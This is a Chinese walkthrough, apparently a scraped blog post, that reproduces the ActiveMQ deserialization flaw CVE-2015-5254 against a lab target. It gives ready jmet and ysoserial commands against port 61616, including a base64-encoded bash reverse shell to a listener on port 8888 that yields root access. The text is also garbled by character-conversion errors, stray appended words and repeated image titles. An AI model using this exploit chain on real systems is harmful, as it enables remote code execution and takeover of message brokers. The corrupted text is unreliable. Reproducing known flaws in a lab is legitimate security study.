ActiveMQ反序列化漏洞(CVE-2015-5254)

1.漏洞介紹:
Apache ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發的一套開源的消息中間件,它支持Java消息服務,集羣,Spring Framework等。Apache ActiveMQ 5.13.0以前5.x版本中存在安全漏洞,該漏洞源於程序沒有限制可在代理中序列化的類。遠程***者可藉助特製的序列化的Java消息服務(JMS)ObjectMessage對象利用該漏洞執行任意代碼。java

2.漏洞利用過程以下:git

①構造可執行命令的序列化對象
②做爲一個消息,發送到目標61616端口
③訪問web管理頁面,讀取信息,觸發漏洞github

3.漏洞復現:
1.首先下載jmet的jar文件,並在同目錄下建立一個external文件夾(不然可能會爆文件夾不存在的錯誤)。jmet原理是使用ysoserial生成Payload併發送(其jar內自帶ysoserial,無需再本身下載),因此咱們須要在ysoserial是gadget中選擇一個能夠使用的,好比ROME。
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
ActiveMQ反序列化漏洞(CVE-2015-5254)
mkdir external
ActiveMQ反序列化漏洞(CVE-2015-5254)
2.執行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 靶機的ip 61616
ActiveMQ反序列化漏洞(CVE-2015-5254)
ActiveMQ反序列化漏洞(CVE-2015-5254)
3.它會給你的ID,訪問http://你的ip:8161:8161/admin/queues.jsp
ActiveMQ反序列化漏洞(CVE-2015-5254)
ActiveMQ反序列化漏洞(CVE-2015-5254)
4.利用方式也很簡單,咱們只要將命令換成反彈shell語句再利用就好了。不過在這裏咱們須要一些小技巧來繞過Java的機制。
bash -i >& /dev/tcp/***機IP/8888 0>&1 bese64編碼ActiveMQ反序列化漏洞(CVE-2015-5254)
把編碼放進去。
bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTkuMTkzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
5.而後咱們是使用一樣的命令將payload發送到61616端口。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTkuMTkzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 靶機ip 61616
ActiveMQ反序列化漏洞(CVE-2015-5254)
6.而後咱們查看這條消息,觸發命令執行,這時咱們在***機上監聽端口,便可獲得shell。ActiveMQ反序列化漏洞(CVE-2015-5254)
7.這就成功進來了,root權限!web

相關文章
相關標籤/搜索